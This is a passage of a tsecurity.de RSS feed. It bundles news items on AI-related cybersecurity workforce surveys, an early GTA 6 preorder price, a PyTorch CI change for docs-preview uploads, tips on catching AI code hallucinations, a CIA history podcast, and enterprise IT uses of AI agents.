<p>“AI is creating a divide between teams that can operationalize it and those that can’t, and that divide directly translates into risk,” said <a href="https://www.linkedin.com/in/hpylarinos/" target="_blank" rel="noreferrer noopener">Haris Pylarinos</a>, founder and CEO of Hack The Box, in a <a href="https://www.hackthebox.com/blog/htb-cybersecurity-workforce-intelligence-report" target="_blank" rel="noreferrer noopener">statement</a>. “For CISOs, the challenge is ensuring their teams can operate effectively with AI, and without it when needed.”</p>



<p>The Hack The Box report is based on anonymized data from more than 702,000 cybersecurity professionals across 251 countries, and it revealed that prompt injection attacks accounted for 29% of solved <a href="https://www.networkworld.com/article/4172576/ai-cybersecurity-skills-top-it-pay-premiums.html" target="_blank">AI-related security</a> challenges on its platform, followed by machine learning model exploitation at 24%, and agentic AI hijacking at 12%. According to Hack The Box, those attack categories reflect growing concern over threats targeting AI models and autonomous systems directly.</p>



<p>“Training data signals a clear shift toward AI-driven attack vectors, highlighting where the next generation of cybersecurity risks is emerging,” the report states.</p>



<p>The Hack The Box report also found that AI penetration testing ranked No. 4 globally among cybersecurity training interests and that enterprise-led AI security training completion rates reached 64% in late 2025. “Cybersecurity skill development is shifting toward a continuous, integrated model where offensive insights and defensive capabilities evolve together,” the report states. “Cybersecurity training participation reflects an increasingly global workforce.”</p>



<p>The ISC2 workforce study, which is based on responses from 16,029 <a href="https://www.networkworld.com/article/3606683/ai-cybersecurity-drive-it-investments-and-lead-skill-shortages-for-2025.html" target="_blank">cybersecurity</a> professionals, also found that respondents consider AI as both a tool and a risk. A few key findings from the ISC2 workforce study are:</p>



<ul class="wp-block-list">
<li>52% of cybersecurity professionals said AI will have the greatest negative impact on security</li>



<li>41% said AI will have the greatest positive impact.</li>



<li>51% of respondents ranked AI-powered social engineering as the top cybersecurity challenge.</li>



<li>AI-powered social engineering concerns rise to 57% over the next two years.</li>
</ul>



<p>Agentic AI ranked high among perceived future risks. ISC2 researchers said agentic AI debuted this year as both a top-five positive and negative technology influence.</p>



<p>“This dual ranking underscores a reality that cybersecurity professionals are grappling with now: AI is not a single-dimensional tool,” the ISC2 report stated. “It is simultaneously an accelerator for defenders and a force multiplier for adversaries.”</p>



<p>Respondents identified the top emerging technologies and architectures that will have the most positive impact on securing assets and organizations:</p>



<ul class="wp-block-list">
<li>AI: 41%</li>



<li><a href="https://www.networkworld.com/article/3830622/ai-automation-spur-efforts-to-upskill-network-pros.html">Automation</a> in cybersecurity: 35%</li>



<li>Zero trust: 33%</li>



<li>Passwordless authentication: 22%</li>



<li>Agentic AI: 21%</li>



<li>Risk-based vulnerability management: 21%</li>
</ul>



<p>When asked about the technologies that will have the most negative impact, AI topped the list again with 52% of respondents.</p>



<p>“As AI moves from experimentation into operational reality, its impact is becoming more tangible,” the ISC2 report stated. “Unlike other technologies whose influence appears to be stabilizing, AI continues to intensify conversations around risk, responsibility, and readiness.” </p>



<p>The studies also suggest AI is driving changes in how cybersecurity teams are structured. Hack The Box found an overlap between offensive and defensive security skill development. Defensive practitioners increasingly participate in offensive training exercises, while offensive security professionals are also building defensive expertise, according to the research.</p>



<p>ISC2’s research also highlighted mounting concern about workforce preparedness as AI-driven attacks become more sophisticated. AI-powered social engineering attacks ranked as the top cybersecurity challenge professionals faced over the past 12 months, cited by 51% of respondents. That number rises to 57% when respondents look ahead to the next two years.</p>



<p>The reports suggest security leaders view AI-enabled phishing, impersonation, and deception campaigns as more immediate threats than traditional workforce shortages or compliance burdens, which have historically dominated cybersecurity workforce surveys. For CISOs, the research points toward several emerging priorities: investing in AI security skills, adopting continuous hands-on training programs, and expanding global talent pipelines to address persistent workforce shortages.</p>



<p>“For many teams, the challenge is no longer whether AI will shape security outcomes, but how quickly they can adapt alongside it,” the ISC2 report stated.</p>



<p><br></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GTA 6 anscheinend überraschend günstig]]></title>
<description><![CDATA[Das kam unerwartet: Der italienische Händler Showgame hatte gestern (18.5.2026) überraschend den Vorverkauf für GTA 6 gestartet. Sie finden das Angebot hier. Der Preis ist heiß: 69,90 Euro. Zuzüglich Versandkosten. Allerdings ist das Angebot derzeit ausverkauft, Sie können aber Ihre Mailadresse h...]]></description>
<link>https://tsecurity.de/de/3531951/it-nachrichten/gta-6-anscheinend-ueberraschend-guenstig/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3531951/it-nachrichten/gta-6-anscheinend-ueberraschend-guenstig/</guid>
<pubDate>Wed, 20 May 2026 09:02:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">

</div></figure>



<p>Das kam unerwartet: Der italienische Händler Showgame hatte gestern (18.5.2026) überraschend den Vorverkauf für GTA 6 gestartet. Sie finden das Angebot <a href="https://www.showgame.it/products/grand-theft-auto-vi-gta-6-ps5">hier</a>. Der Preis ist heiß: 69,90 Euro. Zuzüglich<a href="https://www.showgame.it/policies/shipping-policy"> Versandkosten.</a> Allerdings ist das Angebot derzeit ausverkauft, Sie können aber Ihre Mailadresse hinterlassen, um sich informieren zu lassen, wenn das Spiel wieder verfügbar ist.</p>



<p>Allgemein wurde erwartet, dass GTA VI – das in dem fiktiven Vice City in den Vereinigten Staaten spielt – deutlich teurer wird. Das gestrige Angebot galt für Grand Theft Auto VI für die Playstation 5 sowie für die Xbox Series X und S. Der offizielle Veröffentlichungstermin für das <a href="https://www.pcwelt.de/article/3140313/gta-6-teuerstes-spiel-3-milliarden-us-dollar.html" target="_blank" rel="noreferrer noopener">vermutlich teuerste Spiel aller Zeiten</a> (was die Produktionskosten angeht) ist der 19. November 2026. </p>



<p>Mit dem gestrigen Vorbestellstart von Showgame schienen sich zunächst <a href="https://www.pcwelt.de/article/3140546/gta-6-schon-ab-naechster-woche-vorbestellen-neuer-leak-aufgetaucht.html" target="_blank" rel="noreferrer noopener">entsprechende Gerüchte</a> aus der letzten Woche zu bestätigen. Doch am Abend war dann klar, dass Rockstar Games den Vorverkauf doch noch nicht gestartet hat, sondern der italienische Online-Händler einfach nur vorgeprescht ist.</p>



<p>Showgame gibt eine Preisgarantie “Zahlen Sie heute den Preis, auch wenn er steigt”. Bis heute hatten Marktbeobachter einen deutlich höheren Preis als 69,90 Euro erwartet,<a href="https://www.pcwelt.de/article/2057900/gta-6-horror-preis-durchgesickert-so-viel-sollen-fans-fur-das-spiel-zahlen-mussen.html" target="_blank" rel="noreferrer noopener"> von bis über 100 Euro war die Rede. </a>Sobald das Spiel erhältlich ist, also ab dem 19.11.2026, erhalten sie es zugeschickt. Die aktuelle Preisangabe für GTA VI beruht derzeit also nur auf der Angabe des italienischen Händlers Showgame. Es ist nicht auszuschließen, dass Rockstar Games doch noch einen höheren Preis festlegt. Allerdings garantiert Showgame ausdrücklich den Preis von 69,90 Euro.</p>



<p>In den Gerüchten von letzter Woche war von sechs unterschiedlichen Editionen die Rede: drei klassischen digitalen oder physischen Editionen in verschiedenen Ausstattungsstufen, einer besonders umfangreichen Sonderedition sowie zwei Konsolen-Bundles mit digitalem Download-Code. Bei Showgame gab es aber nur eine.</p>



<h2 class="wp-block-heading">Laut Showgame ist das die Geschichte von GTA VI:</h2>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p><strong>Jason und Lucia</strong> wussten schon immer, dass das Leben ihnen nicht die besten Karten gab. Wenn ein einfacher Job in die falsche Richtung geht, befinden sie sich im dunkelsten Teil von Amerikas sonnigstem Ort.</p>



<p>Verwickelt in eine kriminelle Verschwörung, die sich über den Bundesstaat Leonidas erstreckt, werden sie sich wie nie zuvor aufeinander verlassen müssen. Größer, lebendiger, detaillierter als jeder GTA jemals geschaffen.</p>
</blockquote>



<p>Showgame betont: Zum ersten Mal in der Saga gibt es <strong>zwei</strong> spielbare Charaktere: </p>



<p><strong>Jason Duval: </strong>“Ehemaliger Militärangehöriger mit einer Vergangenheit, die ihn verfolgt. Er sucht nach einem Ausweg, aber das Leben von Vice City lässt niemanden entkommen”.</p>



<p><strong>Lucia Gamino: </strong>“Gerade aus dem Gefängnis entlassen, hat sie nichts zu verlieren und nichts zu befürchten. Als sie Jason findet, entdeckt sie, dass sie zusammen nicht aufzuhalten sind”.</p>



<p>Auf Amazon ist das Spiel noch <strong>nicht</strong> erhältlich. Dort findet man kurioserweise aber bereits jetzt Anleitungen zum Durchspielen von GTA VI. Diese basieren vermutlich/offensichtlich auf den Erfahrungen aus den vorangegangenen Titeln sowie aus den Leaks:</p>



<ul class="wp-block-list">
<li><a href="https://amazon.de/dp/B0GZ9QBQD3?tag=pcwelt.de-21&amp;ascsubtag=rss">Grand Theft Auto VI Unofficial Game Guide (2026 Edition): Complete Walkthrough, Heists, Money, Vehicles, and Secrets</a></li>



<li><a href="https://amazon.de/dp/B0GZ721SPR?tag=pcwelt.de-21&amp;ascsubtag=rss">Grand Theft Auto VI Ultimate Strategy Guide (2026 Edition): Best Tips, Heists, Money, Vehicles, Weapons, and Full Completion</a></li>



<li><a href="https://amazon.de/dp/B0GZJ51XHT?tag=pcwelt.de-21&amp;ascsubtag=rss">Grand Theft Auto VI Complete Guide &amp; Walkthrough (Updated 2026): Beginner Tips, Advanced Strategies, Heists, Exploration, and Full Completion</a></li>
</ul>



<p>Ebenfalls auf Amazon erhältlich: <a href="https://www.amazon.de/dp/B0H23FT78N/?tag=pcwelt.de-21&amp;ascsubtag=rss">The Unofficial GTA 6 Conspiracy Book – Leaks, Hidden Messages, and the Future of Vice City</a>.</p>



<p></p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[trunk/7098fc1dae6590bf1eccebb297207414a2623a0f: Upload docs preview from a workflow_run job, not the OSDC pod (#184414)]]></title>
<description><![CDATA[Summary

The OSDC (k8s pod) docs build cannot upload docs previews to S3: fork PRs cannot authenticate via OIDC from the build job, and we don't want to grant the pod's IAM role S3 write access on doc-previews/.
Move the upload out of the build pod. build-docs-osdc now stages the built docs as a ...]]></description>
<link>https://tsecurity.de/de/3531235/downloads/trunk7098fc1dae6590bf1eccebb297207414a2623a0f-upload-docs-preview-from-a-workflowrun-job-not-the-osdc-pod-184414/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3531235/downloads/trunk7098fc1dae6590bf1eccebb297207414a2623a0f-upload-docs-preview-from-a-workflowrun-job-not-the-osdc-pod-184414/</guid>
<pubDate>Wed, 20 May 2026 03:16:35 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Summary</h2>
<ul>
<li>The OSDC (k8s pod) docs build cannot upload docs previews to S3: fork PRs cannot authenticate via OIDC from the build job, and we don't want to grant the pod's IAM role S3 write access on <code>doc-previews/</code>.</li>
<li>Move the upload out of the build pod. <code>build-docs-osdc</code> now stages the built docs as a GHA artifact (<code>docs-preview-osdc-&lt;docs_type&gt;</code>) along with a <code>pr-metadata.txt</code> that records the PR number.</li>
<li>A new <code>upload-docs-preview</code> workflow is triggered by <code>workflow_run</code> on completion of the <code>pull</code> workflow. It runs in the base-repo context (full OIDC + secrets), downloads the staged artifact, and performs the <code>aws s3 sync</code> to <code>s3://doc-previews/pytorch/pytorch/&lt;PR#&gt;[/cppdocs]</code>. This works for fork PRs.</li>
<li>The EC2 docs upload path (which uses the EC2 instance profile credentials) is unchanged.</li>
<li>The C++ docs coverage PR comment stays in <code>_docs.yml</code> but is now gated on the PR being from a branch in the base repo, so the read-only fork <code>GITHUB_TOKEN</code> no longer causes spurious failures.</li>
<li>The OSDC nightly C++ dry-run upload step is removed; if needed it can be restored later by extending the new uploader to trigger on additional workflows.</li>
</ul>
<h2>Follow-ups (out of scope here)</h2>
<ul>
<li>Update the trust policy of <code>arn:aws:iam::308535385114:role/arc</code> so it can be assumed from this <code>workflow_run</code> workflow (the OIDC subject points to the base repo, so this should already be compatible).</li>
<li>Optionally drop S3 write to <code>doc-previews/</code> from the OSDC pod's IAM policy now that the pod no longer uploads.</li>
</ul>
<h2>Test plan</h2>
<ul class="contains-task-list">
<li class="task-list-item"> Open a same-repo PR after this lands; verify <code>docs-preview-osdc-python</code> and <code>docs-preview-osdc-cpp</code> artifacts are produced by <code>linux-docs</code>.</li>
<li class="task-list-item"> Verify the <code>Upload docs preview</code> workflow_run job runs to completion and uploads to <code>s3://doc-previews/pytorch/pytorch/&lt;PR#&gt;/</code> and <code>&lt;PR#&gt;/cppdocs/</code>.</li>
<li class="task-list-item"> Verify the preview URLs resolve: <code>https://docs-preview.pytorch.org/pytorch/pytorch/&lt;PR#&gt;/index.html</code> and <code>.../&lt;PR#&gt;/cppdocs/index.html</code>.</li>
<li class="task-list-item"> Open a fork PR (or simulate one); confirm the artifacts upload and the workflow_run uploader still publishes the preview (previously the OSDC path silently no-op'd).</li>
<li class="task-list-item"> Confirm the C++ coverage comment still posts on same-repo PRs touching <code>docs/cpp/</code>, and skips cleanly on fork PRs without producing a failed step.</li>
</ul>
<p>Authored by Claude.<br>
Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4479821669" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/184414" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/184414/hovercard" href="https://github.com/pytorch/pytorch/pull/184414">#184414</a><br>
Approved by: <a href="https://github.com/svekars">https://github.com/svekars</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[So bleibt Ihr Code halluzinationsfrei]]></title>
<description><![CDATA[width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">Kann KI ungehindert halluzinieren, droht (nicht nur) Softwareentwicklern ein Horrortrip.svtdesign | shutterstock.com



Schon seit jeher wird generative künstliche Intelligenz (Generative AI; GenAI) von einem Halluzinations...]]></description>
<link>https://tsecurity.de/de/3529725/it-security-nachrichten/so-bleibt-ihr-code-halluzinationsfrei/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3529725/it-security-nachrichten/so-bleibt-ihr-code-halluzinationsfrei/</guid>
<pubDate>Tue, 19 May 2026 17:39:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Kann KI ungehindert halluzinieren, droht (nicht nur) Softwareentwicklern ein Horrortrip.</figcaption></figure><p class="imageCredit">svtdesign | shutterstock.com</p></div>



<p>Schon seit jeher wird generative künstliche Intelligenz (Generative AI; GenAI) von einem Halluzinationsproblem geplagt. Was mit <a href="https://www.newyorker.com/culture/rabbit-holes/the-uncanny-failures-of-ai-generated-hands" target="_blank" rel="noreferrer noopener">achtfingerigen Händen</a> und <a href="https://www.theverge.com/2024/6/11/24176490/mm-delicious-glue" target="_blank" rel="noreferrer noopener">Klebstoff-haltigen Pizzagrundlagen</a> begann, setzt sich inzwischen längst im Entwicklerumfeld fort, mit <a href="https://arxiv.org/html/2406.10279v2" target="_blank" rel="noreferrer noopener">potenziell verheerenden Folgen</a>.</p>



<p>Weil Code-Assistenten auf KI-Basis inzwischen <a href="https://survey.stackoverflow.co/2024/ai" target="_blank" rel="noreferrer noopener">immer häufiger zum Einsatz kommen</a>, ist es für Developer essenziell, zu wissen, wie sie ihren Code frei von KI-Halluzinationen halten. Dieser Artikel gibt Ihnen deshalb einige Tipps an die Hand, um:</p>



<ul class="wp-block-list">
<li>KI-Halluzinationen bestmöglich von vorneherein zu verhindern, und</li>



<li>bereits im Code existierende aufzuspüren.   </li>
</ul>



<h2 class="wp-block-heading">Halluzinationen verhindern</h2>



<p>Folgende Vorsichtsmaßnahmen können dazu beitragen, Halluzinations-Probleme in KI-generiertem Code zu reduzieren.</p>



<p><strong>1. Klare Prompts schreiben</strong></p>



<p>Die Weisheit “Garbage in, Garbage out” ist so alt wie die Informatik selbst – und gilt auch für Large Language Models (<a href="https://www.computerwoche.de/article/2823883/was-sind-llms.html" target="_blank">LLMs</a>). Ganz besonders, wenn Sie dabei Code durch <a href="https://www.computerwoche.de/article/2833555/10-dunkle-prompt-engineering-geheimnisse.html" target="_blank">Prompts</a> generieren – statt etwa mit einem Autocomplete-Assistant.</p>



<p><a href="https://www.linkedin.com/in/andrewjsel" target="_blank" rel="noreferrer noopener">Andrew Sellers</a>, Head of Technology Strategy bei Confluent, empfiehlt an dieser Stelle: “Stellen Sie Fragen mit begrenztem Umfang und überprüfen Sie die Ergebnisse besonders kritisch. Die Nutzungsdaten der KI-Coding-Tools deuten darauf hin, dass die resultierenden Outputs bei solchen Fragen tendenziell akkurater sind. <a href="https://www.computerwoche.de/article/2824308/so-entwickeln-sie-besser.html" target="_blank">Kleinere Codeblöcke</a> zu untersuchen, dürfte den meisten Entwicklern zudem erleichtern, Fehler zu erkennen.”</p>



<p><strong>2. Quellen überprüfen</strong></p>



<p>Große Sprachmodelle sind unter anderem berüchtigt für ihre Zitat-, respektive Referenz-Halluzinationen im Rahmen von Schulaufsätzen oder <a href="https://www.forbes.com/sites/mollybohannon/2023/06/08/lawyer-used-chatgpt-in-court-and-cited-fake-cases-a-judge-is-considering-sanctions/" target="_blank" rel="noreferrer noopener">Gerichtsprozessen</a>.</p>



<p>Inzwischen haben Code-spezifische Tools jedoch Fortschritte gemacht, um so etwas zu verhindern, wie <a href="https://www.linkedin.com/in/monojit-banerjee-itaus" target="_blank" rel="noreferrer noopener">Monojit Banerjee</a>, AI Platform Lead bei Salesforce, betont: “Viele Modelle unterstützen inzwischen Zitierfunktionen. Um Halluzinationen zu minimieren, sollten Entwickler diese Features entsprechend nutzen und die KI beispielsweise nach <a href="https://www.computerwoche.de/article/4004872/die-besten-apis-um-ki-zu-integrieren.html" target="_blank">API-Referenzen</a> fragen.”</p>



<p><strong>3. Software aktuell halten</strong></p>



<p>Die meisten Chatbots tun sich schwer damit, das Fußball-Ergebnis von gestern Abend richtig <a href="https://www.computerwoche.de/article/2820825/10-gruende-generative-ai-zu-fuerchten.html" target="_blank">wiederzukäuen</a>. Die gleichen Limitationen kommen zum Zug, wenn es darum geht, mit Software-Tools und den zugehörigen Updates Schritt halten.   </p>



<p>“Ob ein Tool halluziniert oder verzerrte Ergebnisse liefert, lässt sich unter anderem anhand seiner Wissensgrenzen vorhersagen”, konstatiert <a href="https://bg.linkedin.com/in/stoyanmitov" target="_blank" rel="noreferrer noopener">Stoyan Mitov</a>, CEO des Entwicklungsspezialisten Dreamix, und fügt hinzu: “Wenn Sie die neuesten Bibliotheken oder <a href="https://www.computerwoche.de/article/3623300/die-4-wichtigsten-llm-app-frameworks.html" target="_blank">Frameworks</a> nutzen möchten, das Tool diese aber nicht kennt, steigt die Wahrscheinlichkeit für fehlerhafte Outputs.”</p>



<p><strong>4. Modelle richtig trainieren</strong></p>



<p>Laut <a href="https://www.linkedin.com/in/travis-rehl-tech" target="_blank" rel="noreferrer noopener">Travis Rehl</a>, CTO beim AWS-Spezialisten Innovative Solutions, funktionieren GenAI-Tools nur dann gut, wenn sie entsprechenden <a href="https://www.computerwoche.de/article/3542587/wie-menschliche-trainer-ki-schlauer-machen.html" target="_blank">Kontext erhalten</a>: “Sie müssen das LLM anweisen, bestimmte Muster einzuhalten oder konsistente Methoden zu nutzen. Ansonsten können sich subtile Halluzinationen in Form von Anti-Patterns in den Code einschleichen”, warnt der Technologieentscheider.  </p>



<p>Ein Konzept, das Abhilfe schafft, ist Retrieval Augmented Generation (<a href="https://www.computerwoche.de/article/2829632/so-daemmen-sie-ki-bullshit-ein.html" target="_blank">RAG</a>), wie der CEO erklärt: “RAG ist eine der effektivsten Grounding-Methoden. Es verbessert die LLM-Outputs, indem es sie mit Daten aus externen Quellen, internen Codebasen oder API-Referenzen in Echtzeit vergleicht.”</p>



<p>Glücklicherweise haben inzwischen diverse KI-Coding-Assistenten RAG-Funktionen an Bord.</p>



<h2 class="wp-block-heading">Halluzinationen aufspüren</h2>



<p>Trotz dieser Vorsichtsmaßnahmen können Halluzinationen “durchrutschen”. Die gute Nachricht: Im Code sind diese oft leichter zu erkennen als in Applikationen. Schließlich ist dieser ausführbar und kann damit auch getestet werden.</p>



<p><strong>1. KI-Code mit KI evaluieren</strong></p>



<p>Es mag seltsam klingen, aber KI-Assistenten eignen sich tatsächlich sehr gut, um KI-generierten Code auf <a href="https://www.computerwoche.de/article/2832102/sorgt-ki-fuer-dummen-code.html" target="_blank">Halluzinationen</a> zu untersuchen.</p>



<p><a href="https://www.linkedin.com/in/dlynch90" target="_blank" rel="noreferrer noopener">Daniel Lynch</a>, CEO beim Marketingunternehmen Empathy First Media, schlägt dazu beispielsweise vor: “Schreiben Sie eine Begleitdokumentation für den Code, damit die KI diesen in einer neuen Instanz evaluieren kann – und ermittelt, ob es den Anforderungen der angepeilten Use Cases entspricht.”</p>



<p><strong>2. Menschliche Steuerung beibehalten</strong></p>



<p><a href="https://www.computerwoche.de/article/2826187/entwickler-muessen-ki-nicht-fuerchten.html" target="_blank">Menschliche Expertise</a> ist in den Augen vieler IT- und Entwicklungsprofis die letzte Verteidigungslinie gegen KI-Halluzinationen. Auch Mithilesh Ramaswamy, Senior Engineer bei Microsoft, sieht es als erfolgskritisch an, dass menschliche Developer die Zügel in der Hand behalten: “KI sollte als Leitfaden dienen – <a href="https://www.computerwoche.de/article/3812425/verdummt-durch-generative-ki.html" target="_blank">nicht als Quelle der Wahrheit</a>. Entsprechend sollten Sie KI-generierten Code als Vorschlag betrachten und nicht als Ersatz für menschliche Expertise.”</p>



<p>Das sollte sich jedoch nicht nur auf die Programmierarbeit beziehen, sondern auch auf den Code selbst, wie CTO Rehl nahelegt: “Wenn Sie mit einer Codebasis nicht vertraut sind, kann es schwierig sein, Halluzinationen auf die Schliche zu kommen.”</p>



<p>Dagegen helfe in erster Linie eine enge Hands-On-Beziehung mit dem eigenen Code, konstatiert der Technologieentscheider.</p>



<p><strong>3. Code testen</strong></p>



<p>Glücklicherweise können auch Tools und Techniken KI-Halluzinationen erkennen, die in den meisten Unternehmen bereits zum Einsatz kommen – um menschliche Fehler zu identifizieren.</p>



<p>“Entwicklungsteams sollten weiterhin Pull Requests und <a href="https://www.computerwoche.de/article/2800176/so-halten-sie-ihren-sap-code-sauber.html" target="_blank">Code Reviews</a> durchführen. So, als ob der Code von Menschen geschrieben worden wäre”, meint Confluent-Experte Sellers. Für Entwickler sei es verlockend, KI-Tools in erster Linie dazu zu nutzen, mehr zu automatisieren und den <a href="https://www.computerwoche.de/article/2834524/6-massnahmen-fuer-bessere-ci-cd-pipelines.html" target="_blank">Continuous-Delivery</a>-Ansatz zu realisieren – das sei zwar löblich, allerdings sei es dabei auch enorm wichtig, entsprechende Qualitätssicherungskontrollen zu priorisieren.    </p>



<p>“Man kann gar nicht genug betonen, wie wichtig es ist, während des gesamten Entwicklungszyklus gute <a href="https://www.computerwoche.de/article/3610452/entwickler-tools-gegen-zwangsjacken-feeling.html" target="_blank">Linting-Tools</a> und <a href="https://www.csoonline.com/article/3493611/dynamic-static-application-security-testing-die-besten-dast-sast-tools.html" target="_blank">SAST-Scanner</a> zu nutzen”, hält <a href="https://www.linkedin.com/in/brett-smith-15b3737" target="_blank" rel="noreferrer noopener">Brett Smith</a>, Distinguished Software Developer bei SAS, fest. Er fügt hinzu: “IDE-Plugins, CI-Integrationen und Pull-Requests sind das absolute Minimum, um zu verhindern, dass Halluzinationen in die Produktion gelangen.”</p>



<p>Laut Salesforce-Manager Banerjee ist auch eine ausgereifte <a href="https://www.computerwoche.de/article/2834426/10-grobe-devops-schnitzer.html" target="_blank">DevOps-Pipeline</a> unerlässlich, bei der jede Codezeile einem Unit Test unterzogen wird: “Die Pipeline befördert den Code erst dann in die Staging- und Produktionsphase, wenn Tests und Builds bestanden wurden.”</p>



<p><strong>4. KI-generierten Code hervorheben</strong></p>



<p>Um Code besser sichtbar zu machen, der von KI erzeugt wurde, hat <a href="https://www.linkedin.com/in/devansh-agarwal" target="_blank" rel="noreferrer noopener">Devansh Agarwal</a>, Machine Learning Engineer bei AWS, einen Trick auf Lager: “Nutzen Sie das Code-Review-Interface, um die Teile der Codebasis zu akzentuieren, die KI-generiert sind.”</p>



<p>Das hilft dem ML-Experten zufolge nicht nur dabei, Halluzinationen zu erkennen: “Es ist unter Umständen auch eine großartige <a href="https://www.computerwoche.de/article/2821891/8-wege-um-top-entwickler-zu-halten.html" target="_blank">Lernmöglichkeit</a> für alle im Team. Manchmal leisten diese Tools nämlich großartige Arbeit, die es sich lohnt nachzuahmen.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[From Ivory Tower to Iron Curtain: The Academics Who Reshaped the CIA]]></title>
<description><![CDATA[In 1947, a new civilian intelligence agency was established: the CIA. But a series of intelligence failures undermined its credibility. The White House and Congress were up in arms, and a new mission was formed- to recruit Ivy League professors with uncanny skills. Leaving their so-called Ivory T...]]></description>
<link>https://tsecurity.de/de/3528834/it-security-nachrichten/from-ivory-tower-to-iron-curtain-the-academics-who-reshaped-the-cia/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3528834/it-security-nachrichten/from-ivory-tower-to-iron-curtain-the-academics-who-reshaped-the-cia/</guid>
<pubDate>Tue, 19 May 2026 13:07:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In 1947, a new civilian intelligence agency was established: the CIA. But a series of intelligence failures undermined its credibility. The White House and Congress were up in arms, and a new mission was formed- to recruit Ivy League professors with uncanny skills. Leaving their so-called Ivory Tower, the academics brought new ways of thinking about national security to the CIA, helping the United States navigate the complexities of the Cold War. In one year, the academics' analysis revolutionized the service, cementing the CIA as one of America's finest agencies. Political scientist Peter Grace, author of The Intelligence Intellectuals, sits down with Sasha to unpack how these bright minds shaped the Agency.]]></content:encoded>
</item>
<item>
<title><![CDATA[How IT teams are putting AI agents to work]]></title>
<description><![CDATA[I’ve spent a lot of time inside enterprise AI deployments, and one thing that has become clear is that IT departments are leading the charge. Of course, enterprises are starting to consolidate licenses for AI platforms within the IT team budget. But inwardly, while other parts of the enterprise a...]]></description>
<link>https://tsecurity.de/de/3528638/it-security-nachrichten/how-it-teams-are-putting-ai-agents-to-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3528638/it-security-nachrichten/how-it-teams-are-putting-ai-agents-to-work/</guid>
<pubDate>Tue, 19 May 2026 12:07:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>I’ve spent a lot of time inside enterprise AI deployments, and one thing that has become clear is that IT departments are leading the charge. Of course, enterprises are starting to <a href="https://a16z.com/ai-enterprise-2025/" rel="nofollow">consolidate licenses for AI platforms within the IT team budget.</a> But inwardly, while other parts of the enterprise are still debating the use case to start with, IT teams are rapidly building agents that run thousands of times a month.</p>



<p>According to a new Dataiku survey, <a href="https://www.businesswire.com/news/home/20260212994335/en/71-of-CIOs-Say-They-Have-Until-Mid-2026-to-Prove-AI-Value-or-Risk-Budgets-and-Job-Fallout" rel="nofollow">74% of CIOs say their role will be at risk if their company does not deliver measurable business gains from AI within the next two years</a>. This pressure, from my perspective, has encouraged experimentation: IT teams are a hotbed of innovation, iterating on workflows to see what will achieve the fastest time to value and the highest level of operational savings. So, here’s what I’m seeing in the most successful deployments — often workflows that used to require a human at every step but now take mere minutes to run.</p>



<h2 class="wp-block-heading">24/7 ticket triage</h2>



<p>The highest-volume deployments I come across in enterprise IT are in ticket management. One financial services firm I worked with built a workflow where incoming support tickets are automatically analyzed, categorized, prioritized and updated in their ITSM system, without any human intervention.</p>



<p>The system uses multiple large language models (LLMs) in parallel to assess category, priority, urgency and recommended next steps, then compares those recommendations against existing ticket values. This workflow has processed over 900 tickets; it runs about 68 seconds per ticket. To an outsider, this sounds slow, until you consider the manual human effort it has helped relieve.</p>



<p>Often, I see teams integrating with their existing platforms, like Zendesk. I helped build a SaaS company’s webhook-triggered triage agent that fires the moment a new ticket lands in Zendesk. It reads the ticket, attachments and all, generates a structured JSON object. Then, it recommends next steps and writes a comment directly back to the ticket with tags applied automatically. IT team members wake up to pre-triaged tickets, ready to act on.</p>



<h2 class="wp-block-heading">Advanced chatbots </h2>



<p>RAG-based IT support bots are everywhere now, but the deployments I find most impressive go well beyond a single PDF upload. I’ve seen enterprises build support bots that pull simultaneously from four Confluence spaces, SharePoint and uploaded internal files. Employees ask questions at any hour of the day and get answers grounded and cited in documentation that has been continuously refreshing for the highest level of accuracy.</p>



<p>One team built a chatbot where IT staff type plain English questions and get back executed Snowflake query results, with the AI handling SQL generation under the hood. Similar chatbots can also be done with Azure connections. Query completion time clocks in at about 60 seconds for these use cases.</p>



<p>Something I’ve realized is that IT teams are often those who can best see around the corner when it comes to safety and security. One example: a team that smartly layered PII protection directly into their agentic chatbot. Every employee question passes through a PII-scrubbing step before it ever reaches the language model. Architectures like this will become increasingly common as the best practices for AI governance develop. </p>



